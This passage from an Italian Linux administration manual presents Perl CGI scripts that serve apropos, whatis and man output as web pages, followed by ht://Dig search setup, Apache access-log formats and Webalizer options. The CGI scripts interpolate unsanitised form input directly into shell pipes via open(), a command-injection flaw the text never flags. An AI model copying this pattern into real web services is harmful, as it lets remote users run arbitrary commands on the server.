    print STDOUT ("Content-type: text/html\n");
    print STDOUT ("\n");
    print STDOUT ("<HTML>\n");
    print STDOUT ("<HEAD>\n");
    print STDOUT ("<TITLE>Errore</TITLE>\n");
    print STDOUT ("</HEAD>\n");
    print STDOUT ("<BODY>\n");
    print STDOUT ("<H1>Errore</H1>\n");
    print STDOUT ("Si è manifestato un errore durante l'inoltro ");
    print STDOUT ("della richiesta.\n");
    print STDOUT ("</BODY>\n");
```

```
    print STDOUT ("</HTML>\n");
  }
#
1;
#
```

Il programma è molto semplice: interpreta la richiesta ottenuta e ne estrae solo il valore abbinato all'informazione '**apropos**'; quindi esegue il comando '**apropos**' leggendone l'output che viene restituito in una pagina HTML molto semplice. Il punto più delicato di questo programma sta quindi nell'istruzione seguente:

```
open (APROPOS, "apropos $DATI{apropos} |")
```

Con questa viene abbinato un flusso di file a un comando il cui standard output viene letto successivamente e riemesso all'interno di una pagina HTML con il ciclo seguente:

```
while ($risposta = <APROPOS>)
  {
   print STDOUT ($risposta);
  }
```

Figura 46.93. Il risultato di un'interrogazione *apropos* per la parola «manual».

apropos manual

```
man (1)              - format and display the on-line manual pages
perlxs (1)           - XS language reference manual
whereis (1)          - locate the binary, source, and manual page files for a command
xman (1)             - Manual page display program for the X Window System
```

46.5.3.3 File «whatis.pl»

Segue il sorgente del programma '**whatis.pl**', che si occupa di interrogare il sistema attraverso il comando '**whatis**' e di restituire un file HTML con la risposta. È molto simile a '**apropos.pl**' appena mostrato, per cui qui alcune parti vengono tralasciate (in corrispondenza dei puntini di sospensione).

```
#!/usr/bin/perl
##
## whatis.pl
##
#
# Incorpora la libreria di decodifica dei dati.
#
require ('mini-lib.pl');
#
# &Metodo_non_gestibile ()
#
sub Metodo_non_gestibile
{
```

```
    ...
}
#
# Inizio del programma.
#
local (%DATI)     = ();
local ($risposta) = "";
#
# Decodifica i dati in funzione del tipo di metodo della richiesta.
#
if ($ENV{REQUEST_METHOD} eq 'GET')
  {
    %DATI = &Decodifica_GET;
  }
elsif ($ENV{REQUEST_METHOD} eq 'POST')
  {
    %DATI = &Decodifica_POST;
  }
else
  {
    &Metodo_non_gestibile;
  }
#
# Rinvia la richiesta a man e ne restituisce l'esito.
#
if (open( WHATIS, "whatis $DATI{whatis} |"))
  {
    print STDOUT ("Content-type: text/html\n");
    print STDOUT ("\n");
    print STDOUT ("<HTML>\n");
    print STDOUT ("<HEAD>\n");
    print STDOUT ("<TITLE>whatis $DATI{whatis}</TITLE>\n");
    print STDOUT ("</HEAD>\n");
    print STDOUT ("<BODY>\n");
    print STDOUT ("<H1>whatis $DATI{whatis}</H1>\n");
    print STDOUT ("<PRE>\n");
    #
    while ($risposta = <WHATIS>)
      {
       print STDOUT ($risposta);
      }
    #
    print STDOUT ("</PRE>\n");
    print STDOUT ("</BODY>\n");
    print STDOUT ("</HTML>\n");
  }
else
```

```
  {
    ...
  }
#
1;
#
```

Come si vede, si tratta della stessa cosa già vista nell'altro programma, con la differenza che la richiesta viene fatta al comando '**`whatis`**' invece che a '**`apropos`**'.

Figura 46.95. Il risultato di un'interrogazione *whatis* per la parola «man».

```
whatis man

man (1)                - format and display the on-line manual pages
man (7)                - macros to format man pages
man.config (5)         - configuration data for man
```

46.5.3.4 File «man.pl»

Segue il sorgente del programma '**`man.pl`**', che si occupa di interrogare il sistema operativo attraverso il comando '**`man`**' e di restituire un file HTML con la risposta. È molto simile agli altri due appena mostrati, per cui, anche in questo caso, alcune parti vengono tralasciate.

```
#!/usr/bin/perl
##
## man.pl
##
#
# Incorpora la libreria di decodifica dei dati.
#
require ('mini-lib.pl');
#
# &Metodo_non_gestibile ()
#
sub Metodo_non_gestibile
  {
    ...
  }
#
# Inizio del programma.
#
local (%DATI)     = ();
local ($risposta) = "";
#
# Decodifica i dati in funzione del tipo di metodo della richiesta.
#
```

```
if ($ENV{REQUEST_METHOD} eq 'GET')
  {
    %DATI = &Decodifica_GET;
  }
elsif ($ENV{REQUEST_METHOD} eq 'POST')
  {
    %DATI = &Decodifica_POST;
  }
else
  {
    &Metodo_non_gestibile;
  }
#
# Rinvia la richiesta a man e ne restituisce l'esito.
#
if (open (MAN, "man $DATI{sezione} $DATI{man} | col -bx |"))
  {
    print STDOUT ("Content-type: text/html\n");
    print STDOUT ("\n");
    print STDOUT ("<HTML>\n");
    print STDOUT ("<HEAD>\n");
    print STDOUT ("<TITLE>man $DATI{sezione} $DATI{man}</TITLE>\n");
    print STDOUT ("</HEAD>\n");
    print STDOUT ("<BODY>\n");
    print STDOUT ("<H1>man $DATI{sezione} $DATI{man}</H1>\n");
    print STDOUT ("<PRE>\n");
    #
    while ($risposta = <MAN>)
      {
       print STDOUT ($risposta);
      }
    #
    print STDOUT ("</PRE>\n");
    print STDOUT ("</BODY>\n");
    print STDOUT ("</HTML>\n");
  }
else
  {
    ...
  }
#
1;
#
```

La differenza fondamentale sta nel fatto che qui si utilizzano due informazioni: il nome del comando di cui si vuole ottenere la pagina di manuale e il numero della sezione. Un'altra cosa da osservare è il modo in cui è stato predisposto il comando: attraverso un condotto necessario

a eliminare i caratteri di controllo che non potrebbero essere visualizzati nella pagina HTML.

```
open (MAN, "man $DATI{sezione} $DATI{man} | col -bx |")
```

Figura 46.98. Il risultato di un'interrogazione '**`man`**' per il comando '**`man`**', senza specificare la sezione.

```
man man

man(1)                                                    man(1)

NAME
       man - format and display the on-line manual pages
       manpath - determine user's search path for man pages

SYNOPSIS
       man  [-adfhkKtwW] [-m system] [-p string] [-C config_file]
       [-M path] [-P pager] [-S section_list] [section] name  ...

DESCRIPTION
       man  formats  and displays the on-line manual pages.  This
       version knows about the MANPATH and (MAN)PAGER environment
```

46.5.4 Librerie CGI già pronte

Di solito, quando si parte da zero, conviene evitare di reinventarsi le subroutine necessarie a gestire i formulari HTML. Attraverso la rete si possono ottenere molti validi esempi già pronti e collaudati da più tempo.

Tra tutte, la libreria di subroutine Perl più diffusa per la gestione di formulari HTML sembra essere '**`cgi-lib.pl`**' di Steven Brenner.

46.6 Indicizzazione e motori di ricerca

Quando si imposta un servizio HTTP con molte informazioni utili ai visitatori, può essere importante mettere a disposizione un sistema di ricerca in base a delle parole chiave o delle stringhe più articolate. Dove non ci si possa avvalere per questo di un servizio pubblico, occorre predisporne uno in proprio.

ht://Dig[6] è un motore di ricerca, vero e proprio, che ottiene i dati per la costruzione dei propri indici attraverso il protocollo HTTP. Pertanto, non si tratta di una scansione del file system pura e semplice.

L'installazione di ht://Dig richiede la preparazione di un file di configurazione, seguita immediatamente dalla preparazione di alcuni file, attraverso il programma '**`htdigconfig`**'; successivamente si passa alla scansione periodica degli indirizzi a cui si è interessati.

In generale, ht://Dig prevede una configurazione unica, in cui annotare tutti gli indirizzi da scandire, lasciando poi alla fase di ricerca l'onere di selezionare l'ambito del contesto cercato.

46.6.1 Configurazione e scansione periodica

La configurazione di ht://Dig si definisce in un file di testo normale (le righe bianche e quelle vuote vengono ignorate; i commenti sono preceduti dal simbolo '**#**'), rappresentato normalmente da '`/etc/htdig/htdig.conf`'. In generale, la directory che deve contenere il file di configurazione è stabilita in fase di compilazione dei sorgenti, mentre durante il funzionamento si possono indicare file di configurazione collocati altrove, ma solo in contesti particolari.

In ogni caso, secondo la filosofia di ht://Dig ci dovrebbe essere un solo file di configurazione, sotto il controllo dell'amministratore del sistema. Segue la descrizione di alcune direttive di questo file, che comunque viene fornito in modo predefinito con molti commenti esplicativi.

Direttiva	Descrizione
`database_dir:` ***directory***	Si stabilisce in questo modo la directory all'interno della quale devono essere inseriti i file che costituiscono la base di dati delle scansioni fatte da ht://Dig.
`start_url:` ***uri*** [***uri***]...	Permette di indicare uno o più indirizzi di partenza per le scansioni che si vogliono ottenere. Per esempio potrebbe trattarsi di indirizzi del tipo `http://`***nodo***`/` per scandire un sito intero, oppure `http://`***nodo***`/`***percorso***`/` per accedere soltanto a una porzione di questo.
`limit_urls_to: ${start_url}`	Questa direttiva serve a limitare la scansione a un certo ambito. Di solito si indicano gli stessi indirizzi usati nella direttiva '**`start_url`**', richiamandone il contenuto come si vede qui.
`exclude_urls:` ***modello*** ↩ ↪ [***modello***]	Consente di escludere dalla scansione tutti gli indirizzi che contengono una stringa tra quelle elencate in questa direttiva. Di solito si indicano stringhe del tipo '**`/cgi-bin/`**' e '**`.cgi`**', per impedire di accedere a programmi CGI.
`bad_extensions:` ***estensione*** ↩ ↪ [***estensione***]	Questa direttiva è simile a '**`exclude_urls`**', con la differenza che riguarda solo la parte finale di un indirizzo (l'estensione). Si indicano di solito tutte le estensioni che possono fare riferimento a file che ht://Dig non riesce ad analizzare.
`maintainer:` ***indirizzo_email***	Consente di specificare il responsabile della gestione del servizio.

Oltre al file '`/etc/htdig/htdig.conf`', ne esistono comunque degli altri, collocati sempre nella directory '`/etc/htdig/`', ma in generale non è necessario modificarli. Eventualmente, può essere conveniente in un secondo momento la traduzione dei file HTML di questa directory, dato che ht://Dig li usa quando costruisce le sue risposte mostrate attraverso un programma CGI apposito.

Alcuni di questi file contenuti nella directory '`/etc/htdig/`' servono per costruire una piccola base di dati iniziale che contiene informazioni su sinonini (generata dal file '`/etc/htdig/synonyms`') e sulle radici delle parole (generata dai file '`/etc/htdig/english.*`' e '`/etc/htdig/bad_words`'). Per questo si usa il programma '**`htdigconfig`**':

`#` **`htdigconfig`** [*Invio*]

Terminata questa fase iniziale, si passa alla scansione periodica di quanto programmato nella configurazione. Per questo si usa normalmente il programma '**`rundig`**' (potrebbe essere uno script che si avvale di altri programmi di ht://Dig, ma questo fatto non ha molta importanza). Conviene distinguere due possibilità:

1. `#` **`rundig -a -i`** [*Invio*]

2. # **rundig -a** [*Invio*]

Nel primo caso si tratta di una scansione in cui la base di dati precedente, se esiste, viene messa da parte senza cancellarla, ricostruendo comunque una base di dati nuova; nel secondo caso invece, la base di dati viene sì ricostruita, ma si tiene conto di quella precedente, aggiungendo soltanto le informazioni nuove e togliendo i riferimenti a file che non esistono più. Pertanto, conviene eseguire il primo comando con una periodicità che potrebbe essere settimanale, mentre il secondo va eseguito con una frequenza maggiore, anche giornaliera. Evidentemente, conviene usare per questo il sistema Cron.

È bene osservare che la scansione avviene attraverso il protocollo HTTP ed è possibile accumulare gli indici di un sito che si trova anche all'esterno del proprio elaboratore. Pertanto, quando si configura ht://Dig per raggiungere un elaboratore esterno, è bene considerare anche il traffico (il carico della rete) che l'aggiornamento degli indici può comportare.

Teoricamente, ht://Dig può indicizzare anche il contenuto di file PDF, PostScript e di altri formati, purché siano disponibili alcuni programmi di conversione. Tuttavia, non è conveniente abilitare questa funzionalità nella configurazione di ht://Dig, perché la scansione per l'accumulo delle informazioni diventa molto pesante, sia per la rete, sia per l'elaborazione che ha luogo; inoltre, i visitatori che trovano le informazioni contenute in file di questo tipo, possono trovarsi poi in difficoltà, mentre è auspicabile che le stesse notizie siano accessibili anche attraverso pagine HTML normali. Pertanto, è bene prendere in considerazione la direttiva di configurazione '**bad_extensions**', aggiungendo tutte queste estensioni che non conviene prendere in considerazione.

46.6.2 Interrogazione del motore di ricerca

Il programma con il quale si interroga la base di dati costruita da ht://Dig è '**htsearch**', il quale si usa normalmente come programma CGI, ma si può utilizzare anche attraverso la riga di comando, tenendo conto però che la risposta è sempre in forma di pagina HTML. Data la sua natura, il programma viene installato normalmente all'interno della directory usata per i programmi CGI. Per esempio, potrebbe trattarsi dell'indirizzo *http://dinkel.brot.dg/cgi-bin/htsearch*. Segue la figura di ciò che si vede la prima volta (senza l'indicazione di una stringa di ricerca):

```
                         ht://Dig Search results

     ----------------------------------------------------------------------

No matches were found for ''

   Check the spelling of the search word(s) you used. If the spelling is
   correct and you only used one word, try using one or more similar search
   words with "Any."

   If the spelling is correct and you used more than one word with "Any," try
   using one or more similar search words with "Any."

   If the spelling is correct and you used more than one word with "All," try
   using one or more of the same words with "Any."

     ----------------------------------------------------------------------

   Match: [All____] Format: [Long_] Sort by: [Score________]
   Refine search: _______________________________ [ Search ]

     ----------------------------------------------------------------------
```

Nella parte finale della pagina si ottiene un formulario da compilare per la ricerca. Ecco cosa si può ottenere quando si indica qualche parola chiave significativa:

```
     ----------------------------------------------------------------------

   Documents 1 - 10 of 3811 matches. More *'s indicate a better match.

     ----------------------------------------------------------------------

   Appunti di informatica libera * * * *
      ... ] [inizio] [fine] [indice generale] [violazione GPL] [licenze]
      [indice analitico] [volume] [parte] Capitolo 259.   Convenzioni di
      «Appunti di informatica libera» Questo capitolo raccoglie alcune
      convenzioni importanti relative all'opera Appunti di informatica
      libera. Le annotazioni sulla terminologia ...
      http://dinkel.brot.dg/a2/prossima/HTML-2002.08.18/a2322.html 08/19/02,
      49757 bytes

   Appunti di informatica libera * * * *
      ... ] [inizio] [fine] [indice generale] [violazione GPL] [licenze]
      [indice analitico] [volume] [parte] Capitolo 259.   Convenzioni di
      «Appunti di informatica libera» Questo capitolo raccoglie alcune
      convenzioni importanti relative all'opera Appunti di informatica
      libera. Le annotazioni sulla terminologia ...
      http://dinkel.brot.dg/a2/dist/CD2/HTML/a2326.html 07/21/02, 49503
      bytes
```

Eventualmente, può essere conveniente realizzare un formulario HTML personalizzato, così da poter anche tradurre alcuni termini:[7]

```
<FORM METHOD="GET" ACTION="/cgi-bin/htsearch">
<P><INPUT TYPE="HIDDEN" NAME="config" VALUE="">
<INPUT TYPE="HIDDEN" NAME="restrict" VALUE="">
<INPUT TYPE="HIDDEN" NAME="exclude" VALUE="">
confronto:
<SELECT NAME="method">
    <OPTION VALUE="and" SELECTED="selected">di tutte le parole
    <OPTION VALUE="or">di almeno una parola
    <OPTION VALUE="boolean">booleano
</SELECT>

formato:
<SELECT NAME="format">
    <OPTION VALUE="builtin-long">lungo
    <OPTION VALUE="builtin-short">breve
</SELECT>

ordinato per:
<SELECT NAME="sort">
    <OPTION VALUE="score" SELECTED="selected">punteggio
    <OPTION VALUE="time">data
    <OPTION VALUE="title">titolo
    <OPTION VALUE="revscore">punteggio in modo inverso
    <OPTION VALUE="revtime">data in modo inverso
    <OPTION VALUE="revtitle">titolo in modo inverso
</SELECT>

<BR>
stringa di ricerca:
<INPUT TYPE="text" SIZE="40" NAME="words" VALUE="">
<INPUT TYPE="submit" VALUE="ricerca">

</FORM>
```

Attraverso la modifica di alcuni campi nascosti è possibile limitare la ricerca a un solo sito o a una porzione di questo. Per esempio, per richiedere una ricerca limitata esclusivamente a ciò che si articola a partire da *`http://dinkel.brot.dg/a2/`* (purché i dati relativi siano stati scanditi in precedenza), basta ritoccare la prima parte del formulario nel modo seguente:

```
<FORM METHOD="GET" ACTION="/cgi-bin/htsearch">
<P><INPUT TYPE="HIDDEN" NAME="config" VALUE="">
<INPUT TYPE="HIDDEN" NAME="restrict" VALUE="http://dinkel.brot.dg/a2/">
<INPUT TYPE="HIDDEN" NAME="exclude" VALUE="">
...
</FORM>
```

Inoltre, è possibile escludere espressamente qualcosa; per esempio si potrebbe voler ignorare

quanto si articola sotto *http://dinkel.brot.dg/a2/pasticci/*:

```
<FORM METHOD="GET" ACTION="/cgi-bin/htsearch">
<P><INPUT TYPE="HIDDEN" NAME="config" VALUE="">
<INPUT TYPE="HIDDEN" NAME="restrict" VALUE="http://dinkel.brot.dg/a2/">
<INPUT TYPE="HIDDEN" NAME="exclude" VALUE="http://dinkel.brot.dg/a2/pasticci/">
...
</FORM>
```

È importante osservare che le stringhe di inclusione e quelle di esclusione vengono confrontate con una parte qualunque dell'indirizzo; per esempio è facile specificare delle estensioni, come in questo caso in cui si vogliono escludere i file che potrebbero essere in formato SGML:

```
<FORM METHOD="GET" ACTION="/cgi-bin/htsearch">
<P><INPUT TYPE="HIDDEN" NAME="config" VALUE="">
<INPUT TYPE="HIDDEN" NAME="restrict" VALUE="http://dinkel.brot.dg/a2/">
<INPUT TYPE="HIDDEN" NAME="exclude" VALUE=".sgml">
...
</FORM>
```

Quando si inseriscono delle limitazioni, come in questi esempi, le pagine che mostrano il risultato della ricerca aggiungono un formulario per altre ricerche, in cui valgono le stesse limitazioni di partenza.

Gli esempi mostrano tutti dei moduli che usano un metodo '**`GET`**' per accedere al programma CGI. ht://Dig funziona perfettamente anche con l'uso di un metodo POST, ma in tal modo viene a mancare la possibilità di memorizzare nei file delle registrazioni del servente HTTP interrogato l'indirizzo referente con la stringa di richiesta. In pratica, in tal modo, programmi come Webalizer non hanno poi la possibilità di estrapolare le interrogazioni fatte per raggiungere le pagine del sito a cui si riferiscono.

46.6.3 Configurazioni multiple

Anche se sconsigliabile secondo la filosofia di ht://Dig, è possibile gestire delle configurazioni multiple, ovvero più file di configurazione a cui si abbinano delle basi di dati differenti per gli indici. Tuttavia, è possibile collocare i file di configurazione alternativi solo nella stessa directory in cui è previsto quello normale, ovvero '`/etc/htdig/`', mantenendo l'estensione '`.conf`'. Per esempio, si può definire un file di configurazione alternativo, corrispondente a '`/etc/htdig/prova.conf`', mentre non si può usare il file '`/etc/htdig/prova.configura`'.

Una volta definita la configurazione alternativa, si deve procedere a generare la sua basi di dati con '**`rundig`**', aggiungendo l'opzione '**`-c`**', per esempio così:

`#` **`rundig -a -i -c /etc/htdig/prova.conf`** [*Invio*]

Successivamente, nel formulario usato per interrogare la basi di dati, si indica il riferimento alla configurazione '**`prova`**' (senza estensione e senza percorso):

```
<FORM METHOD="GET" ACTION="/cgi-bin/htsearch">
<P><INPUT TYPE="HIDDEN" NAME="config" VALUE="prova">
...
</FORM>
```

46.7 Statistiche di accesso

Dal momento che il protocollo HTTP è privo di stato, ogni operazione elementare inizia e conclude una connessione TCP, la quale può essere annotata nel file delle registrazioni del servente HTTP. Nella gestione di un sito che offre i suoi servizi attraverso il protocollo HTTP, può essere importante l'analisi dei file delle registrazioni del servente HTTP, per ottenere delle statistiche sugli accessi. L'analisi quotidiana di queste statistiche consente di capire meglio cosa cerca il pubblico e che tipo di reazione si ottiene a seguito di iniziative che fanno capo al proprio sito.[8]

Fortunatamente, i serventi più comuni utilizzano delle annotazioni abbastanza compatibili. Il formato in questione standard per la registrazione degli accessi, viene definito *Common log format*, a cui si associa anche una variante più completa, definita come formato «combinato». In generale, se possibile, è meglio usare il formato combinato che contiene l'indicazione del referente, ovvero dell'indirizzo dal quale proviene il riferimento ipertestuale.

L'esempio seguente riguarda alcune righe di un registro di accesso organizzato secondo il formato combinato; si osservi che le righe appaiono spezzate per motivi tipografici:

```
82.184.47.185 - - [28/May/2004:10:53:31 +0000] "GET /docs/samba/samba11.html HTTP/1.0" 200 32227 ↩
↪"http://www.google.it/search?q=creazione+utente+samba&ie=UTF-8&hl=it&lr=" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
82.184.47.185 - - [28/May/2004:10:53:32 +0000] "GET /docs/samba/7.jpg HTTP/1.0" 200 29924 ↩
↪"http://linuxdidattica.org/docs/samba/samba11.html" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
82.184.47.185 - - [28/May/2004:10:53:33 +0000] "GET /docs/samba/8.jpg HTTP/1.0" 200 30174 ↩
↪"http://linuxdidattica.org/docs/samba/samba11.html" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
82.184.47.185 - - [28/May/2004:10:53:33 +0000] "GET /docs/samba/6.jpg HTTP/1.0" 200 39877 ↩
↪"http://linuxdidattica.org/docs/samba/samba11.html" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
82.184.47.185 - - [28/May/2004:10:53:34 +0000] "GET /docs/samba/9.jpg HTTP/1.0" 200 16244 ↩
↪"http://linuxdidattica.org/docs/samba/samba11.html" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
82.184.47.185 - - [28/May/2004:10:53:34 +0000] "GET /docs/samba/10.jpg HTTP/1.0" 200 21050 ↩
↪"http://linuxdidattica.org/docs/samba/samba11.html" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
82.184.47.185 - - [28/May/2004:10:53:35 +0000] "GET /docs/samba/11.jpg HTTP/1.0" 200 20936 ↩
↪"http://linuxdidattica.org/docs/samba/samba11.html" ↩
↪"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"
```

Si comincia dalla prima riga per osservare che si tratta di un accesso con una richiesta secondo il metodo '**`GET`**', avente origine dall'indirizzo 82.184.47.185. Per la precisione, è stata prelevata la risorsa corrispondente a `http://`***nodo***`/docs/samba/samba11.html`. L'utente che ha richiesto questa risorsa lo ha fatto a partire da un riferimento abbastanza complesso, rappresentato verosimilmente da una pagina generata da un motore di ricerca, come si vede nella figura successiva.

Figura 46.108. Un record di un registro di accesso secondo il formato combinato. Si può osservare che in questo caso i campi numero due e numero tre non contengono informazioni. Il formato CLF tradizionale, a differenza di quello combinato, non ha gli ultimi due campi.

82.184.47.185 - - [28/May/2004:10:53:31 +0000] "GET /docs/samba/samba11.html HTTP/1.0" 200 32227

1: indirizzo cliente

4: data e ora

5: metodo, risorsa, protocollo

6: codice di stato

2: nominativo untente del cliente

3: nominativo untente autenticato

7: quantità di byte inviati al ricevente

"http://www.google.it/search?q=creazione+utente+samba&ie=UTF-8&hl=it&lr="

8: referente

"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1"

9: navigatore utilizzato per accedere

Continuando l'osservazione dell'esempio, si può vedere che a partire da `http://`***nodo***`/docs/samba/samba11.html` sono state raggiunte le risorse `/docs/samba/7.jpg`, `/docs/samba/8.jpg`, `/docs/samba/6.jpg`, `/docs/samba/9.jpg`, `/docs/samba/10.jpg` e `/docs/samba/11.jpg`, le quali sono evidentemente immagini inserite nella pagina di partenza.

L'informazione sull'indirizzo referente, ovvero sull'indirizzo di partenza, permette di comprendere l'importanza che può avere il riferimento fatto da qualcun altro verso le pagine del proprio sito. In altri termini, Tizio che indica nelle sue pagine un riferimento a un certo indirizzo esterno, fa una cortesia a quel sito, cosa che può essere valutata nel numero di accessi che in questo modo vi vengono convogliati.

Tuttavia, le informazioni generate dal servente HTTP non sono sempre così dettagliate; spesso manca l'indicazione dell'indirizzo referente, a meno di richiedere espressamente tali notizie nella configurazione. L'esempio seguente riguarda una porzione della configurazione di Apache, in cui si dichiara il dominio virtuale `linuxdidattica.org` e gli si associa un file di registrazioni specifico ('`/var/log/apache/linuxdidattica.org-access.log`') con tutte le informazioni che Apache è in grado di dare:

```
<VirtualHost 62.152.34.13>
Servername linuxdidattica.org
DocumentRoot /home/www/linuxdidattica.org
CustomLog /var/log/apache/linuxdidattica.org-access.log full
</VirtualHost>
```

Il fatto di poter ottenere un file delle registrazioni separato per gli accessi a un dominio virtuale, oppure a un ramo del proprio sito, diventa importante, proprio per facilitare il lavoro successivo di lettura delle statistiche.

Eventualmente, se non è possibile ottenere dal servente HTTP un file delle registrazioni selet-

tivo per un certo dominio virtuale, o per un certo ramo del proprio sito, si può intervenire con un programma realizzato appositamente per filtrare l'unico file a disposizione:

```
#!/usr/bin/perl
#
$modello = $ARGV[0];
$riga = "";
while ($riga = <STDIN>)
  {
    if ($riga =~ m{\"[A-Z]+ $modello.* HTTP/[0-9.]+\"})
      {
        print STDOUT ($riga);
      }
  }
```

Se questo programma viene chiamato '**`filtra`**' e il file delle registrazioni è '`/var/log/httpd/access.log`', per ottenere un file con gli accessi che si diramano a partire da `http://`***nodo***`/servizi/casa/`, si potrebbe usare il comando seguente:

`#` **`cat /var/log/httpd/access.log | filtra /servizi/casa/`** ↩
↪**`> /var/log/tmp_servizi_casa.log`** [*Invio*]

In questo modo si creerebbe il file '`/var/log/tmp_servizi_casa.log`' con i soli record che interessano.

46.7.1 Webalizer

Webalizer[9] è un programma relativamente semplice per l'analisi di un file di registrazioni in formato CLF (*Common log format*) o in formato combinato, dal quale produce un rapporto statistico che può essere letto anche attraverso lo stesso servizio HTTP. In pratica, il rapporto che si ottiene è fatto di pagine HTML e di immagini contenenti i grafici dei vari rapporti statistici generati; queste pagine possono essere consultate localmente o a distanza, con un navigatore comune.

Webalizer si avvale di un solo file di configurazione che in condizioni normali corrisponde a '`/etc/webalizer.conf`'. Tuttavia, nel file di configurazione si possono indicare espressamente il file delle registrazioni da analizzare e la directory di destinazione dei file delle statistiche; pertanto, se si gestiscono diversi siti virtuali, o comunque se quello che serve sono statistiche diverse in base al contesto di interesse, potrebbe essere conveniente la predisposizione di file di configurazione differenti, ognuno per l'obiettivo desiderato. Segue un elenco parziale delle direttive di questo file di configurazione, a cui si affianca l'opzione corrispondente dell'eseguibile '**`webalizer`**', quando disponibile.

Direttiva	Opzione	Descrizione
	`-c` ***file***	Permette di indicare un file di configurazione alternativo a quello predefinito.
`Debug yes|no`	`-d`	Permette di ottenere maggiori informazioni durante l'elaborazione delle statistiche.
`LogFile` ***file***		Permette di definire il file delle registrazioni da scandire.

Direttiva	Opzione	Descrizione
`LogType [clf|ftp↩ ↪|squid]`	`-F [clf|ftp|squid]`	Webalizer è in grado di analizzare file delle registrazioni in formati diversi, specificandolo con questa direttiva. Il formato corrispondente alla parola chiave '**`clf`**' è quello dei serventi HTTP comuni. La sigla '**`clf`**' sta per *Common log format* che però vale anche per il formato «combinato», ovvero quello che contiene le informazioni sul referente e sul tipo di navigatore.
`OutputDir` ***file***	`-o` ***file***	In questo modo si specifica la directory nella quale creare i file che compongono le statistiche.
`HostName` ***nome***	`-n` ***nome***	Permette di definire il nome del sito (reale o virtuale che sia) che viene inserito nei file delle statistiche.
`ReportTitle` ***nome***	`-t` ***nome***	Permette di modificare il titolo predefinito delle statistiche. Dopo il titolo si aggiunge il nome definito con la direttiva '**`HostName`**' o con l'opzione '**`-n`**'.
`VisitTimeout` ***n***	`-m` ***n***	Consente di stabilire il tempo di scadenza per la durata delle visite. In tal modo, un accesso proveniente dallo stesso indirizzo già visto più di ***n*** secondi prima, viene considerato una visita nuova e non semplicemente una richiesta di un accesso preesistente.
`PageType` ***modello***	`-P` ***modello***	Questa opzione che può essere usato più volte e consente di specificare l'estensione dei file da considerare come «pagine». Di solito si usa una stringa del tipo '**`htm*`**', per includere le pagine HTML comuni, ma può essere conveniente aggiungere anche altre estensioni, a seconda del modo in cui è organizzato il proprio sito.
`CountryGraph yes|no`	`-Y yes|no`	Abilita o disabilita la visualizzazione del grafico delle nazionalità degli accessi, basato sulla parte finale del nome di dominio.
`DailyGraph yes|no`		Abilita o disabilita la visualizzazione del grafico giornaliero degli accessi.
`DailyStats yes|no`		Abilita o disabilita la visualizzazione della statistica giornaliera degli accessi.
`HourlyGraph yes|no`	`-G yes|no`	Abilita o disabilita la visualizzazione del grafico orario degli accessi.
`HourlyStats yes|no`	`-H yes|no`	Abilita o disabilita la visualizzazione della statistica oraria degli accessi.

Direttiva	Opzione	Descrizione
`Incremental yes|no`	`-p yes|no`	Abilitando questa opzione con la parola chiave '**`yes`**', si fa in modo che Webalizer tenga conto anche delle statistiche precedenti, in modo da non perdere dati quando il sistema di rotazione dei file delle registrazioni riparte con file vuoti.
`DNSCache` ***file***		Definisce il nome da dare a un file che Webalizer può usare per annotare degli indirizzi risolti in nomi. Questo file, assieme alla direttiva '**`DNSChildern`**', consente di ottenere i nomi delle origini degli accessi, quando è possibile risolverli.
`DNSChildren` ***n***		Assieme alla direttiva '**`DNSCache`**' abilita la risoluzione degli indirizzi in nomi di dominio, specificando il numero di processi elaborativi che devono occuparsi di questo lavoro.
`HideReferer` ***modello***	`-r` ***modello***	Fa in modo che nel resoconto dei referenti, non appaiano i nomi che corrispondono al modello.
`IgnoreReferer` ***modello***		Fa in modo che i record contenenti dei referenti corrispondenti al modello indicato vengano ignorati completamente.
`HideSite` ***modello***	`-s` ***modello***	Fa in modo che nel resoconto dell'origine degli accessi, non appaiano i nomi che corrispondono al modello.
`IgnoreSite` ***modello***		Fa in modo che i record contenenti origini corrispondenti al modello indicato vengano ignorati completamente.
`HideURL` ***modello***	`-u` ***modello***	Fa in modo che nel resoconto delle risorse richieste non appaiano i nomi che corrispondono al modello.
`IgnoreURL` ***modello***		Fa in modo che i record contenenti la richiesta di una risorsa corrispondente al modello indicato vengano ignorati completamente.

`AllSites yes|no`
`AllURLs yes|no`
`AllReferrers yes|no`
`AllAgents yes|no`
`AllSearchStr yes|no`
`AllUsers yes|no`
		Queste direttive, se attivate, fanno sì che rimanga disponibile un elenco completo delle informazioni a cui fanno riferimento. Si tratta, rispettivamente, dell'origine degli accessi, degli indirizzi richiesti, degli indirizzi referenti, dei programmi usati per accedere, delle stringhe di ricerca e degli utenti (ammesso che l'informazione sia disponibile).

`TopAgents` ***n***	`-A` ***n***	Mostra l'elenco dei programmi usati per accedere, contenente al massimo ***n*** voci.

Direttiva	Opzione	Descrizione
`TopReferrer` ***n***	`-R` ***n***	Mostra l'elenco degli indirizzi referenti, contenente al massimo ***n*** voci.
`TopSites` ***n***	`-S` ***n***	Mostra l'elenco degli indirizzi di origine, contenente al massimo ***n*** voci.
`TopURLs` ***n***	`-U` ***n***	Mostra l'elenco degli indirizzi richiesti, contenente al massimo ***n*** voci.
`TopCountries` ***n***	`-C` ***n***	Mostra l'elenco delle nazioni di origine, contenente al massimo ***n*** voci.
`TopEntry` ***n***	`-e` ***n***	Mostra l'elenco delle pagine di ingresso, contenente al massimo ***n*** voci.
`TopExit` ***n***	`-E` ***n***	Mostra l'elenco delle pagine di uscita, contenente al massimo ***n*** voci.
